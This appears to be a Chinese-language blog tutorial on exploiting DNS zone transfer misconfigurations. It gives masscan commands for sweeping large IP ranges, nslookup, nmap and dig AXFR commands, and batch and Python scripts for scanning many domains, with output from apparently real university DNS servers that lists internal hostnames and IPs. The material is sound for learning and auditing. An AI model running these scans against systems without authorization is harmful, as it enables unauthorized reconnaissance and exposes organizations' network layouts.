黑客是如何利用DNS域传送漏洞进行渗透与攻击的()
一、DNS域传送
DNS :Domain Name System
一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53
常见DNS记录类型:
1 AIP地址记录,记录一个域名对应的IP地址 2 AAAAIPv6 地址记录,记录一个域名对应的IPv6地址 3 CNAME别名记录,记录一个主机的别名 4 MX电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com 5 NS域名服务器记录 ,记录该域名由哪台域名服务器解析 6 PTR反向记录,也即从IP地址到域名的一条记录 7 TXT记录域名的相关文本信息
域传送 :DNS Zone Transfer
是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库,在主备服务器之间同步数据库,需要使用“DNS域传送”
DNS服务器分为:主服务器、备份服务器和缓存服务器
二、漏洞收集
2.1 利用网络搜索引擎收集域名服务器
shodan:https://www.shodan.io
文章图片
zoomeye:https://www.zoomeye.org
文章图片
fofa:https://fofa.so
文章图片
2.2 利用masscan收集dns服务器
masscan:https://github.com/robertdavidgraham/masscan
Debian/Ubuntu安装:
1 sudo apt-get install git gcc make libpcap-dev 2 git clone https://github.com/robertdavidgraham/masscan 3 cd masscan 4 make
扫描网段:
1 ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0
获得开放53端口的潜在漏洞DNS服务器对象
ns.xml结果去重:
1 from lxml import etree 2 port = None 3 address = None 4 parsedServers = [] 5 #Opens the file used to store single enteries. 6 outputFile = open('ns.txt', 'a') 7 for event, element in etree.iterparse('ns.xml', tag="host"): 8for child in element: 9if child.tag == 'address': 10address = child.attrib['addr'] 11if child.tag == 'ports': 12for a in child: 13port = a.attrib['portid'] 14if port > 1 and address > 1: 15if address not in parsedServers: 16print(address) 17outputFile.write(address + '\n') 18parsedServers.append(address) 19port = None 20address = None 21element.clear() 22 outputFile.close() 23 print('End…………………………')
2.3目标针对
针对某个目标域名,查询目标所处域dns服务器是否有域传送漏洞,从而获得横向渗透的机会和更多的可能性。见下文:
1 nslookup结合dig的科学利用
2.4 后人乘凉
我们稍微无耻一下,用一下别人收集好的dns服务器与域名:https://github.com/lijiejie/edu-dns-zone-transfer/blob/master/vulnerable_hosts.txt
ps: 收集dns服务器,推测出网段与解析的域,从而检测DNS是否存在域传送漏洞
三、漏洞检测与利用 3.1 原理
1 DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录; 2 通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录
3.2 危害
1 网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程
3.3 检测与利用
3.3.1nslookup 基本过程:
1 输入nslookup命令进入交互式shell; 2 server 命令参数设定查询将要使用的DNS服务器; 3 ls命令列出某个域中的所有域名; 4 exit命令退出
失败案例
现在域传送漏洞不太好找
1 > nslookup 2 DNS request timed out. 3timeout was 2 seconds. 4 默认服务器:UnKnown 5 Address:114.114.114.114 6 7 > server ss2.bjfu.edu.cn 8 默认服务器:ss2.bjfu.edu.cn 9 Address:202.204.112.67 10 11 > ls bjfu.edu.cn 12 [ss2.bjfu.edu.cn] 13 *** 无法列出域 bjfu.edu.cn: Query refused 14 DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确, 15 请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn 的 16 区域传送安全设置。
成功案例
1 > nslookup 2 默认服务器:public1.114dns.com 3 Address:114.114.114.114 4 5 > server ring.cugb.edu.cn 6 默认服务器:ring.cugb.edu.cn 7 Address:202.204.105.1 8 9 > ls cugb.edu.cn 10 [ring.cugb.edu.cn] 11cugb.edu.cn.NSserver = ring.cugb.edu.cn 12cugb.edu.cn.A127.0.0.1 13acmA121.194.86.2 14bbsA202.204.105.172 15bmA202.204.105.179 16bsbmA202.204.105.17 17bsltA202.204.109.241 18casA202.204.105.97 19ceA202.204.99.249 20chushiA202.204.105.243 21cjA202.204.96.111 22cmsA202.204.105.179 23computerA202.204.96.202 24cscA202.204.97.60 25cugblxA202.204.105.173 26 . 27 . 28 . 29 . 30yxA202.204.105.179 31zhshA202.204.105.198 32zzbA202.204.105.243 33 >
非交互式方法 :
为了避免和nslookup交换,可以编写一个ls.bat
1 echo ls %1 | nslookup – %2
%1代表第一个参数,即xxx.edu.cn
%2代表第二个参数,即dns.xxx.edu.cn
echo是回声命令,原文输出传入的参数内容
测试dns.xxx.edu.cn服务器,可以执行命令:
1 ls.bat xxx.edu.cn dns.xxx.edu.cn
3.3.2 nmap
1 nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn
dns-zone-transfer.domain指定要查询的域
dns.xxx.edu.cn为指定的查询域名服务器
成功的话会如下所示,列出了指定域中所有的记录(如果端口屏蔽,就查不出了,不太实用):
1 > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn 2 3 Starting Nmap 7.10 ( https://nmap.org ) at **** 4 Nmap scan report for dns.hzmc.edu.cn (211.86.0.1) 5 Host is up (0.38s latency). 6 PORTSTATE SERVICE 7 53/tcp opendomain 8 | dns-zone-transfer: 9 | hzmc.edu.cn.SOAns.hzmc.edu.cn. root.ns.hzmc.edu.cn. 10 | hzmc.edu.cn.NSns.hzmc.edu.cn. 11 | hzmc.edu.cn.NSdns.hzmc.edu.cn. 12 | hzmc.edu.cn.A211.86.0.1 13 | hzmc.edu.cn.MX10 ns.hzmc.edu.cn. 14 | dns.hzmc.edu.cn.A211.86.0.1 15 | ftp.hzmc.edu.cn.CNAMEdns.hzmc.edu.cn. 16 | www.jwc.hzmc.edu.cn.A211.86.3.182 17 | www.lib.hzmc.edu.cn.A211.86.3.38 18 | www.spdb.hzmc.edu.cn.A211.86.0.3 19 | www.hzmc.edu.cn.A211.86.0.4 20 | www.yzzp.hzmc.edu.cn.A211.86.0.8 21 | www.zwc.hzmc.edu.cn.A211.86.2.200 22 |_hzmc.edu.cn.SOAns.hzmc.edu.cn. root.ns.hzmc.edu.cn. 23 24 Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
3.3.3 dig Windows免安装版dig下载地址:http://download.csdn.net/detail/c465869935/9700646
使用命令:
1 dig @dns.xxx.edu.cn axfr xxx.edu.cn
@指定域名服务器;axfr 为域传送指令;xxx.edu.cn表示要查询的域名
成功测试:
1 > dig @ring.cugb.edu.cn axfr cugb.edu.cn 2 3 ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn 4 ; (1 server found) 5 ; ; global options: +cmd 6 cugb.edu.cn.86400INSOAring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 7 cugb.edu.cn.86400INTXT"v=spf1 ip4:202.204.105.6/24 ~all" 8 cugb.edu.cn.86400INNSring.cugb.edu.cn. 9 cugb.edu.cn.86400INMX5 mail.cugb.edu.cn. 10 cugb.edu.cn.86400INA127.0.0.1 11 cugb.edu.cn.86400INAAAA::1 12 acm.cugb.edu.cn.86400INA121.194.86.2 13 bbs.cugb.edu.cn.86400INA202.204.105.172 14 bm.cugb.edu.cn.86400INA202.204.105.179 15 . 16 . 17 . 18 . 19 zhsh.cugb.edu.cn.86400INA202.204.105.198 20 zzb.cugb.edu.cn.86400INA202.204.105.243 21 cugb.edu.cn.86400INSOAring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 22 ; ; Query time: 46 msec 23 ; ; SERVER: 202.204.105.1#53(202.204.105.1) 24 ; ; WHEN: **** 25 ; ; XFR size: 114 records (messages 1, bytes 2562)
dig的批处理利用 For Windows
建立文件: .LandGrey-Dns-Zone-Transfer-Scan.bat
下载链接:http://download.csdn.net/detail/c465869935/9700869
写入以下内容:
1 @echo off 2 Rem Build By LandGrey 3 title Dns Zone Transfer Scan 4 echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ 5 for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt
解释:
整个批处理主要是for循环一行一行的读取当前目录下的“/dns-zone-transfer/hostlist.txt”文件,进行工作; %cd% 代表bat文件当前目录;delims=指定分隔符;表示读取的一行文本以空格来分隔;当然,也可以自己修改分隔符;tokens=1,2 表示取以分隔符分隔的第一个和第二个元素;do后面是具体做的事: 一边提示正在扫描的域名,一边扫描域传送漏洞;在批处理中,%%i用来代指第一个元素,根据字母顺序(i,j,k…),%%j指代第二个元素,以此类推; dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替换模版; 这就要求hostlist.txt文件中的书写格式应该为:“[dns-server] [domain]”,类似于如下的形式:
1 dns.xxx.edu.cn xxx.edu.cn
%cd%\dig.exe表示 .LandGrey-Dns-Zone-Transfer-Scan.bat文件要与dig.exe放在同一个目录下; 最后查询结果全部保存在当前目录下的:“/dns-zone-transfer/ScanResults.txt”文件中;
nslookup结合dig的科学利用
如果获得了目标域名,并不清楚目标的主dns服务器时,可以通过用如下的nslookup语句,先查询目标域名的主dns服务器,然后再用dig进行DNS域传送检测,最后用python脚本实现:
1 > nslookup -type=ns landgrey.cn 2 服务器:public1.114dns.com 3 Address:114.114.114.114 4 5 非权威应答: 6 landgrey.cnnameserver = dns9.hichina.com 7 landgrey.cnnameserver = dns10.hichina.com
单个查询(实用)
下载地址:https://github.com/LandGrey/dns-zone-transfer-tester/blob/master/dztester.py
1 #!/usr/bin/env python 2 # coding:utf-8 3 # 4 # Build by LandGrey 2016-12-03 5 # 6 7 import re 8 import os 9 import sys 10 11 12 def dns_zone_tranfer_finder(domain): 13print('[+] Nslookup %s' % domain) 14cmd_res = os.popen('nslookup -type=ns ' + domain).read()# fetch DNS Server List 15dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) 16if len(dns_servers) == 0: 17print('[+] No DNS Server Found!\n') 18exit(0) 19for singledns in dns_servers: 20print('[+] Using @%s' % singledns) 21cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read() 22# print cmd_res 23if cmd_res.find('XFR size') > 0: 24print('[+] Vulnerable dns server found:'), singledns 25print(cmd_res) 26else: 27print('[+] No Vulnerable found') 28 29 30 def usage(): 31print('[+] Usage: python DZT-tester.py [domain]\n') 32 33 34 if __name__ == "__main__": 35if len(sys.argv) != 2: 36usage() 37elif '-h' in sys.argv[1]: 38usage() 39else: 40domain = sys.argv[1] 41print('[+] Test %s' % domain) 42dns_zone_tranfer_finder(domain) 43print('[+] Finished!')
使用方式:
1 python dztester.py [domain]
批量查询
脚本同一目录下应有‘dns-zone-transfer’目录;'dns-zone-transfer’目录下有‘dns’子目录; 要检测的域名列表存放在‘dns-zone-transfer\domain.txt’中,一行一个;结果存在'dns-zone-transfer\dns'目录和'dns-zone-transfer\vulnerable_hosts.txt'文件中
1 # coding:utf-8 2 3 import re 4 import os 5 import sys 6 import threading 7 8 9 def dns_zone_tranfer_finder(): 10global c_index 11while True: 12lock.acquire() 13if c_index >= len(DomainLists): 14lock.release() 15break 16domain = DomainLists[c_index].lstrip('www.') 17c_index += 1 18lock.release() 19cmd_res = os.popen('nslookup -type=ns ' + domain).read()# fetch DNS Server List 20dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) 21for server in dns_servers: 22if len(server) < 5: 23server += domain 24cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read() 25if cmd_res.find('XFR size') > 0 \ 26and cmd_res.find('Transfer failed.') < 0 \ 27and cmd_res.find('connection timed out') < 0: 28lock.acquire() 29print('*' * 10 + ' Vulnerable dns server found:', server, '*' * 10) 30lock.release() 31with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f: 32f.write('%s%s\n' % (server.ljust(30), domain)) 33with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f: 34f.write(cmd_res) 35 36 37 if __name__ == "__main__": 38currentdir = os.path.dirname(sys.argv[0]) 39target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt')) 40DomainLists = [] 41for host in target.readlines(): 42DomainLists.append(host) 43print(u'采集 %d 个...' % len(DomainLists)) 44threads = [] 45c_index = 0 46lock = threading.Lock() 47for i in range(10): 48t = threading.Thread(target=dns_zone_tranfer_finder) 49t.start() 50threads.append(t) 51for t in threads: 52t.join() 53print('All Done!')
漏洞存在标识主要是dig命令结果中出现特征字符串“XFR size”
运行起来类似下面这样:
1 ********** Vulnerable dns server found: nknu.nknu.edu.tw ********** 2 ********** Vulnerable dns server found: ns2.ntnu.edu.tw ********** 3 ********** Vulnerable dns server found: ns2.must.edu.mo ********** 4 All Done!
四、免责声明 本文仅做技术研究,切勿用本文方法违法犯罪!
更多独家精彩内容请扫码关注个人公众号,一起Coding吧!
—————————END————————————
欢迎扫码关注我的公众号
小鸿星空科技
文章图片
【黑客是如何利用DNS域传送漏洞进行渗透与攻击的()】
推荐阅读
- 热闹中的孤独
- 我要做大厨
- 《真与假的困惑》???|《真与假的困惑》??? ——致良知是一种伟大的力量
- 爱就是希望你好好活着
- 增长黑客的海盗法则
- 太平之莲
- 知识
- 叙述作文
- 时间老了
- 清明,是追思、是传承、是感恩。